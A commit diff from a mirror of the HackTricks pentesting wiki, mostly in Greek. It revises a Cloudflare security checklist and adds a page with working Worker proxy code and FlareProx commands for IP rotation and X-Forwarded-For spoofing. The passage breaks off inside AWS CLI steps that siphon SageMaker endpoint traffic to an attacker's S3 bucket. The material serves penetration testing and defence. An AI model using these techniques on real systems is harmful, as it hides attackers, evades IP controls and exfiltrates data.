mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers
This commit is contained in:
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Σε έναν λογαριασμό Cloudflare υπάρχουν κάποιες **γενικές ρυθμίσεις και υπηρεσίες** που μπορούν να ρυθμιστούν. Σε αυτή τη σελίδα θα **αναλύσουμε τις ρυθμίσεις που σχετίζονται με την ασφάλεια κάθε ενότητας:**
|
||||
Σε έναν λογαριασμό Cloudflare υπάρχουν ορισμένες **γενικές ρυθμίσεις και υπηρεσίες** που μπορούν να διαμορφωθούν. Σε αυτή τη σελίδα θα **αναλύσουμε τις ρυθμίσεις σχετικές με την ασφάλεια κάθε ενότητας:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -16,7 +16,7 @@ cloudflare-domains.md
|
||||
|
||||
### Domain Registration
|
||||
|
||||
- [ ] Στο **`Transfer Domains`** ελέγξτε ότι δεν είναι δυνατή η μεταφορά οποιουδήποτε τομέα.
|
||||
- [ ] Στο **`Transfer Domains`** ελέγξτε ότι δεν είναι δυνατό να μεταφερθεί οποιοδήποτε domain.
|
||||
|
||||
Ελέγξτε κάθε μία με:
|
||||
|
||||
@@ -26,39 +26,45 @@ cloudflare-domains.md
|
||||
|
||||
## Analytics
|
||||
|
||||
_Δεν μπόρεσα να βρω τίποτα για να ελέγξω για μια ανασκόπηση ασφάλειας ρυθμίσεων._
|
||||
_I couldn't find anything to check for a config security review._
|
||||
|
||||
## Pages
|
||||
|
||||
Σε κάθε σελίδα του Cloudflare:
|
||||
|
||||
- [ ] Ελέγξτε για **ευαίσθητες πληροφορίες** στο **`Build log`**.
|
||||
- [ ] Ελέγξτε για **ευαίσθητες πληροφορίες** στο **Github repository** που έχει ανατεθεί στις σελίδες.
|
||||
- [ ] Ελέγξτε για πιθανή παραβίαση του github repo μέσω **workflow command injection** ή παραβίαση `pull_request_target`. Περισσότερες πληροφορίες στη [**σελίδα ασφάλειας Github**](../github-security/).
|
||||
- [ ] Ελέγξτε για **ευάλωτες λειτουργίες** στον φάκελο `/fuctions` (αν υπάρχουν), ελέγξτε τις **ανακατευθύνσεις** στο αρχείο `_redirects` (αν υπάρχουν) και τις **κακώς ρυθμισμένες κεφαλίδες** στο αρχείο `_headers` (αν υπάρχουν).
|
||||
- [ ] Ελέγξτε για **ευπάθειες** στη **σελίδα** μέσω **blackbox** ή **whitebox** αν μπορείτε να **έχετε πρόσβαση στον κώδικα**.
|
||||
- [ ] Ελέγξτε για **ευαίσθητες πληροφορίες** στο **Github repository** που είναι ανατεθειμένο στις pages.
|
||||
- [ ] Ελέγξτε για πιθανό συμβιβασμό του github repo μέσω **workflow command injection** ή συμβιβασμού `pull_request_target`. Περισσότερες πληροφορίες στη [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Ελέγξτε για ευπάθειες στις **vulnerable functions** στον κατάλογο `/fuctions` (αν υπάρχει), ελέγξτε τα **redirects** στο αρχείο `_redirects` (αν υπάρχει) και τις **εσφαλμένες κεφαλίδες** στο αρχείο `_headers` (αν υπάρχει).
|
||||
- [ ] Ελέγξτε για **ευπάθειες** στην **ιστοσελίδα** μέσω **blackbox** ή **whitebox** αν έχετε πρόσβαση στον κώδικα.
|
||||
- [ ] Στις λεπτομέρειες κάθε σελίδας `/<page_id>/pages/view/blocklist/settings/functions`. Ελέγξτε για **ευαίσθητες πληροφορίες** στις **`Environment variables`**.
|
||||
- [ ] Στη σελίδα λεπτομερειών ελέγξτε επίσης την **εντολή κατασκευής** και τον **ριζικό φάκελο** για **πιθανές εισβολές** που θα μπορούσαν να παραβιάσουν τη σελίδα.
|
||||
- [ ] Στη σελίδα λεπτομερειών ελέγξτε επίσης την **build command** και το **root directory** για **πιθανούς injection** που θα μπορούσαν να συμβιβάσουν τη σελίδα.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Σε κάθε worker του Cloudflare ελέγξτε:
|
||||
|
||||
- [ ] Τα triggers: Τι προκαλεί την ενεργοποίηση του worker; Μπορεί ένας **χρήστης να στείλει δεδομένα** που θα **χρησιμοποιηθούν** από τον worker;
|
||||
- [ ] Στις **`Settings`**, ελέγξτε για **`Variables`** που περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
- [ ] Ελέγξτε τον **κώδικα του worker** και αναζητήστε **ευπάθειες** (ιδιαίτερα σε μέρη όπου ο χρήστης μπορεί να διαχειριστεί την είσοδο).
|
||||
- Ελέγξτε για SSRFs που επιστρέφουν τη δηλωμένη σελίδα που μπορείτε να ελέγξετε.
|
||||
- Ελέγξτε XSSs που εκτελούν JS μέσα σε μια εικόνα svg.
|
||||
- Είναι πιθανό ο worker να αλληλεπιδρά με άλλες εσωτερικές υπηρεσίες. Για παράδειγμα, ένας worker μπορεί να αλληλεπιδρά με έναν R2 bucket που αποθηκεύει πληροφορίες που αποκτήθηκαν από την είσοδο. Σε αυτή την περίπτωση, θα ήταν απαραίτητο να ελέγξετε ποιες δυνατότητες έχει ο worker πάνω στον R2 bucket και πώς θα μπορούσε να καταχραστεί από την είσοδο του χρήστη.
|
||||
- [ ] Τους triggers: Τι ενεργοποιεί τον worker; Μπορεί ένας **χρήστης να στείλει δεδομένα** που θα **χρησιμοποιηθούν** από τον worker;
|
||||
- [ ] Στις **`Settings`**, ελέγξτε για **`Variables`** που περιέχουν **ευαίσθητες πληροφορίες**
|
||||
- [ ] Ελέγξτε τον **κώδικα του worker** και αναζητήστε **ευπάθειες** (ειδικά σε σημεία όπου ο χρήστης μπορεί να διαχειριστεί την είσοδο)
|
||||
- Ελέγξτε για SSRFs που επιστρέφουν την ενδεικνυόμενη σελίδα που μπορείτε να ελέγξετε
|
||||
- Ελέγξτε για XSSs που εκτελούν JS μέσα σε svg εικόνα
|
||||
- Είναι πιθανό ο worker να αλληλεπιδρά με άλλες εσωτερικές υπηρεσίες. Για παράδειγμα, ένας worker μπορεί να αλληλεπιδράσει με έναν R2 bucket που αποθηκεύει πληροφορίες που λαμβάνονται από την είσοδο. Σε αυτή την περίπτωση, είναι απαραίτητο να ελέγξετε ποιες δυνατότητες έχει ο worker πάνω στον R2 bucket και πώς θα μπορούσαν να καταχραστούν μέσω της εισόδου του χρήστη.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι από προεπιλογή ένας **Worker έχει μια διεύθυνση URL** όπως `<worker-name>.<account>.workers.dev`. Ο χρήστης μπορεί να το ρυθμίσει σε ένα **subdomain**, αλλά μπορείτε πάντα να έχετε πρόσβαση σε αυτό με αυτή τη **πρωτότυπη διεύθυνση URL** αν το γνωρίζετε.
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
Για μια πρακτική κατάχρηση των Workers ως pass-through proxies (IP rotation, FireProx-style), ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
Σε κάθε R2 bucket ελέγξτε:
|
||||
|
||||
- [ ] Ρυθμίστε την **CORS Policy**.
|
||||
- [ ] Διαμορφώστε την **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -70,8 +76,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] Αν είναι δυνατόν, εκτελέστε μια **`Security Insights`** **σάρωση** και μια **`Infrastructure`** **σάρωση**, καθώς θα **αναδείξουν** ενδιαφέρουσες πληροφορίες **σχετικά με την ασφάλεια**.
|
||||
- [ ] Απλώς **ελέγξτε αυτές τις πληροφορίες** για κακώς ρυθμισμένες ρυθμίσεις ασφάλειας και ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Αν είναι δυνατό, τρέξτε ένα **`Security Insights`** **scan** και ένα **`Infrastructure`** **scan**, καθώς θα **επισημάνουν** ενδιαφέρουσες πληροφορίες σε επίπεδο **security**.
|
||||
- [ ] Απλώς **ελέγξτε αυτές τις πληροφορίες** για λανθασμένες ρυθμίσεις ασφάλειας και ενδιαφέρουσες πληροφορίες
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> Σε αντίθεση με [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) είναι ουσιαστικά στατικές — δεν υποστηρίζουν **καμία λειτουργία αντικατάστασης συμβολοσειρών** ή κανονικές εκφράσεις. Ωστόσο, μπορείτε να ρυθμίσετε παραμέτρους ανακατεύθυνσης URL που επηρεάζουν τη συμπεριφορά αντιστοίχισης URL και τη συμπεριφορά εκτέλεσης τους.
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Ελέγξτε ότι οι **εκφράσεις** και οι **απαιτήσεις** για τις ανακατευθύνσεις **έχουν νόημα**.
|
||||
- [ ] Ελέγξτε επίσης για **ευαίσθητους κρυφούς προορισμούς** που περιέχουν ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Ελέγξτε ότι οι **εκφράσεις** και οι **προϋποθέσεις** για τα redirects **έχουν νόημα**.
|
||||
- [ ] Ελέγξτε επίσης για **ευαίσθητα κρυφά endpoints** που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Ελέγξτε τις **ειδοποιήσεις.** Αυτές οι ειδοποιήσεις συνιστώνται για την ασφάλεια:
|
||||
- [ ] Ελέγξτε τις ειδοποιήσεις. Οι παρακάτω ειδοποιήσεις συνιστώνται για λόγους ασφάλειας:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
@@ -113,19 +119,19 @@ cloudflare-zero-trust-network.md
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Ελέγξτε όλους τους **προορισμούς**, καθώς μπορεί να υπάρχουν **ευαίσθητες πληροφορίες** (basic http auth) σε urls webhook. Βεβαιωθείτε επίσης ότι τα urls webhook χρησιμοποιούν **HTTPS**.
|
||||
- [ ] Ως επιπλέον έλεγχος, θα μπορούσατε να προσπαθήσετε να **παριστάνετε μια ειδοποίηση cloudflare** σε τρίτο μέρος, ίσως μπορείτε κάπως να **εισάγετε κάτι επικίνδυνο**.
|
||||
- [ ] Ελέγξτε όλους τους **προορισμούς**, καθώς μπορεί να υπάρχουν **ευαίσθητες πληροφορίες** (basic http auth) σε webhook urls. Βεβαιωθείτε επίσης ότι τα webhook urls χρησιμοποιούν **HTTPS**
|
||||
- [ ] Ως επιπλέον έλεγχο, μπορείτε να δοκιμάσετε να **impersonate a cloudflare notification** προς τρίτο μέρος — ίσως καταφέρετε somehow να **inject something dangerous**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] Είναι δυνατόν να δείτε τα **τελευταία 4 ψηφία της πιστωτικής κάρτας**, τον **χρόνο λήξης** και τη **διεύθυνση χρέωσης** στο **`Billing` -> `Payment info`**.
|
||||
- [ ] Είναι δυνατόν να δείτε τον **τύπο σχεδίου** που χρησιμοποιείται στον λογαριασμό στο **`Billing` -> `Subscriptions`**.
|
||||
- [ ] Στο **`Members`** είναι δυνατόν να δείτε όλα τα μέλη του λογαριασμού και τον **ρόλο** τους. Σημειώστε ότι αν ο τύπος σχεδίου δεν είναι Enterprise, υπάρχουν μόνο 2 ρόλοι: Διαχειριστής και Υπερ Διαχειριστής. Αλλά αν το χρησιμοποιούμενο **σχέδιο είναι Enterprise**, [**περισσότεροι ρόλοι**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) μπορούν να χρησιμοποιηθούν για να ακολουθήσουν την αρχή της ελάχιστης προνομίας.
|
||||
- Επομένως, όποτε είναι δυνατόν, συνιστάται να χρησιμοποιείτε το **Enterprise plan**.
|
||||
- [ ] Στα Μέλη είναι δυνατόν να ελέγξετε ποια **μέλη** έχουν **2FA ενεργοποιημένο**. **Κάθε** χρήστης θα πρέπει να το έχει ενεργοποιημένο.
|
||||
- [ ] Είναι δυνατό να δείτε τα **τελευταία 4 ψηφία της πιστωτικής κάρτας**, την **ημερομηνία λήξης** και τη **διεύθυνση τιμολόγησης** στο **`Billing` -> `Payment info`**.
|
||||
- [ ] Είναι δυνατό να δείτε τον **τύπο σχεδίου (plan type)** που χρησιμοποιείται στον λογαριασμό στο **`Billing` -> `Subscriptions`**.
|
||||
- [ ] Στο **`Members`** είναι δυνατό να δείτε όλα τα μέλη του λογαριασμού και το ρόλο τους. Σημειώστε ότι αν ο τύπος σχεδίου δεν είναι Enterprise, υπάρχουν μόνο 2 ρόλοι: Administrator και Super Administrator. Αλλά αν το χρησιμοποιούμενο **plan είναι Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) μπορούν να χρησιμοποιηθούν για να εφαρμοστεί η αρχή του least privilege.
|
||||
- Συνεπώς, όποτε είναι δυνατόν είναι **συνιστώμενο** να χρησιμοποιείτε το **Enterprise plan**.
|
||||
- [ ] Στο Members είναι δυνατό να ελέγξετε ποια **members** έχουν **2FA enabled**. **Κάθε** χρήστης πρέπει να το έχει ενεργοποιημένο.
|
||||
|
||||
> [!NOTE]
|
||||
> Σημειώστε ότι ευτυχώς ο ρόλος **`Administrator`** δεν δίνει δικαιώματα για τη διαχείριση μελών (**δεν μπορεί να αναβαθμίσει προνόμια ή να προσκαλέσει** νέα μέλη).
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
|
||||
+286
@@ -0,0 +1,286 @@
|
||||
# Εκμετάλλευση Cloudflare Workers ως pass-through proxies (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Τα Cloudflare Workers μπορούν να αναπτυχθούν ως διαφανείς HTTP pass-through proxies όπου το upstream target URL παρέχεται από τον client. Τα requests εξέρχονται από το δίκτυο της Cloudflare, οπότε ο στόχος βλέπει Cloudflare IPs αντί για εκείνα του client. Αυτό αντικατοπτρίζει την γνωστή τεχνική FireProx στο AWS API Gateway, αλλά χρησιμοποιεί Cloudflare Workers.
|
||||
|
||||
### Κύριες δυνατότητες
|
||||
- Υποστήριξη όλων των HTTP μεθόδων (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Ο στόχος μπορεί να δοθεί μέσω query parameter (?url=...), ενός header (X-Target-URL), ή ακόμα και κωδικοποιημένος στο path (π.χ. /https://target)
|
||||
- Τα headers και το body προωθούνται μέσω proxy με hop-by-hop/header filtering όπως απαιτείται
|
||||
- Οι απαντήσεις προωθούνται πίσω, διατηρώντας τον status code και τα περισσότερα headers
|
||||
- Προαιρετικό spoofing του X-Forwarded-For (εάν ο Worker το θέτει από ένα user-controlled header)
|
||||
- Εξαιρετικά γρήγορη/εύκολη rotation με την ανάπτυξη πολλαπλών Worker endpoints και την κατανομή των requests
|
||||
|
||||
### Πώς λειτουργεί (flow)
|
||||
1) Ο client στέλνει ένα HTTP request σε ένα Worker URL (`<name>.<account>.workers.dev` ή σε ένα custom domain route).
|
||||
2) Ο Worker εξάγει τον στόχο είτε από ένα query parameter (?url=...), είτε από το header X-Target-URL, είτε από ένα path segment αν υλοποιηθεί έτσι.
|
||||
3) Ο Worker προωθεί την εισερχόμενη μέθοδο, τα headers και το body προς το καθορισμένο upstream URL (φιλτράροντας προβληματικά headers).
|
||||
4) Η upstream απάντηση μεταδίδεται streaming πίσω στον client μέσω Cloudflare· η origin βλέπει Cloudflare egress IPs.
|
||||
|
||||
### Worker implementation example
|
||||
- Διαβάζει το target URL από query param, header ή path
|
||||
- Αντιγράφει ένα ασφαλές υποσύνολο headers και προωθεί την αρχική μέθοδο/body
|
||||
- Προαιρετικά θέτει X-Forwarded-For χρησιμοποιώντας ένα user-controlled header (X-My-X-Forwarded-For) ή ένα τυχαίο IP
|
||||
- Προσθέτει permissive CORS και χειρίζεται preflight
|
||||
|
||||
<details>
|
||||
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Αυτοματισμός ανάπτυξης και εναλλαγής με FlareProx
|
||||
|
||||
FlareProx είναι ένα εργαλείο Python που χρησιμοποιεί το Cloudflare API για να αναπτύσσει πολλαπλά Worker endpoints και να κάνει εναλλαγή μεταξύ τους. Αυτό παρέχει εναλλαγή IP τύπου FireProx από το δίκτυο της Cloudflare.
|
||||
|
||||
Ρύθμιση
|
||||
1) Δημιουργήστε ένα Cloudflare API Token χρησιμοποιώντας το πρότυπο “Edit Cloudflare Workers” και λάβετε το Account ID σας από το dashboard.
|
||||
2) Ρυθμίστε το FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Δημιουργήστε το αρχείο config flareprox.json:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**Χρήση CLI**
|
||||
|
||||
- Δημιούργησε N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Λίστα endpoints:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Endpoints ελέγχου υγείας:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Διαγράψτε όλα τα endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Δρομολόγηση της κίνησης μέσω ενός Worker**
|
||||
- Μορφή παραμέτρου ερωτήματος:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Φόρμα κεφαλίδας:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Μορφή διαδρομής (αν υλοποιηθεί):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Παραδείγματα μεθόδων:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` έλεγχος**
|
||||
|
||||
Εάν ο Worker σεβαστεί το `X-My-X-Forwarded-For`, μπορείτε να επηρεάσετε την upstream τιμή του `X-Forwarded-For`:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Προγραμματική χρήση**
|
||||
|
||||
Χρησιμοποιήστε τη βιβλιοθήκη FlareProx για να δημιουργήσετε, να ανακτήσετε και να δοκιμάσετε endpoints και να δρομολογήσετε requests από Python.
|
||||
|
||||
<details>
|
||||
<summary>Python example: Send a POST via a random Worker endpoint</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner integration**
|
||||
- Ρυθμίστε το tooling (για παράδειγμα, Burp Suite) ώστε να δείχνει στο Worker URL.
|
||||
- Παρέχετε το πραγματικό upstream χρησιμοποιώντας ?url= ή X-Target-URL.
|
||||
- Η σημασιολογία του HTTP (methods/headers/body) διατηρείται ενώ η πηγή IP σας αποκρύπτεται πίσω από το Cloudflare.
|
||||
|
||||
**Λειτουργικές σημειώσεις και όρια**
|
||||
- Το Cloudflare Workers Free plan επιτρέπει περίπου 100.000 requests/ημέρα ανά account· χρησιμοποιήστε πολλαπλά endpoints για να διανείμετε την κίνηση αν χρειάζεται.
|
||||
- Οι Workers τρέχουν στο δίκτυο της Cloudflare· πολλοί στόχοι θα δουν μόνο Cloudflare IPs/ASN, κάτι που μπορεί να παρακάμψει απλές λίστες allow/deny για IP ή γεω-ευριστικές μεθόδους.
|
||||
- Χρησιμοποιήστε υπεύθυνα και μόνο με εξουσιοδότηση. Σεβαστείτε τους ToS και το robots.txt.
|
||||
|
||||
## Αναφορές
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
+36
-35
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon μέσω UpdateEndpoint DataCaptureConfig
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Κατάχρηση της διαχείρισης SageMaker endpoint για να ενεργοποιηθεί πλήρης καταγραφή αιτημάτων/απαντήσεων σε S3 bucket που ελέγχεται από τον επιτιθέμενο χωρίς να πειραχτεί το model ή το container. Χρησιμοποιεί ένα zero/low‑downtime rolling update και απαιτεί μόνο δικαιώματα διαχείρισης endpoint.
|
||||
Καταχράσου τη διαχείριση endpoint του SageMaker για να ενεργοποιήσεις πλήρη καταγραφή αιτήσεων/απαντήσεων σε ένα S3 bucket που ελέγχεται από επιτιθέμενο, χωρίς να αγγίξεις το μοντέλο ή το container. Χρησιμοποιεί μια rolling update με μηδενικό/χαμηλό downtime και απαιτεί μόνο δικαιώματα διαχείρισης endpoint.
|
||||
|
||||
### Απαιτήσεις
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (ή χρησιμοποιήστε υπάρχον bucket στον ίδιο λογαριασμό)
|
||||
- Προαιρετικό (αν χρησιμοποιείτε SSE‑KMS): `kms:Encrypt` στο επιλεγμένο CMK
|
||||
- Στόχος: Ένα υπάρχον InService real‑time endpoint στον ίδιο λογαριασμό/περιοχή
|
||||
- S3: `s3:CreateBucket` (ή χρησιμοποίησε ένα υπάρχον bucket στον ίδιο λογαριασμό)
|
||||
- Προαιρετικό (εάν χρησιμοποιείς SSE‑KMS): `kms:Encrypt` στην επιλεγμένη CMK
|
||||
- Στόχος: Ένας υπάρχων InService real‑time endpoint στον ίδιο λογαριασμό/περιοχή
|
||||
|
||||
### Βήματα
|
||||
1) Εντοπίστε ένα InService endpoint και συλλέξτε τα τρέχοντα production variants
|
||||
1) Εντόπισε ένα InService endpoint και συγκέντρωσε τα τρέχοντα production variants
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Προετοιμάστε τον προορισμό S3 του attacker για captures
|
||||
2) Προετοιμάστε τον attacker S3 προορισμό για captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
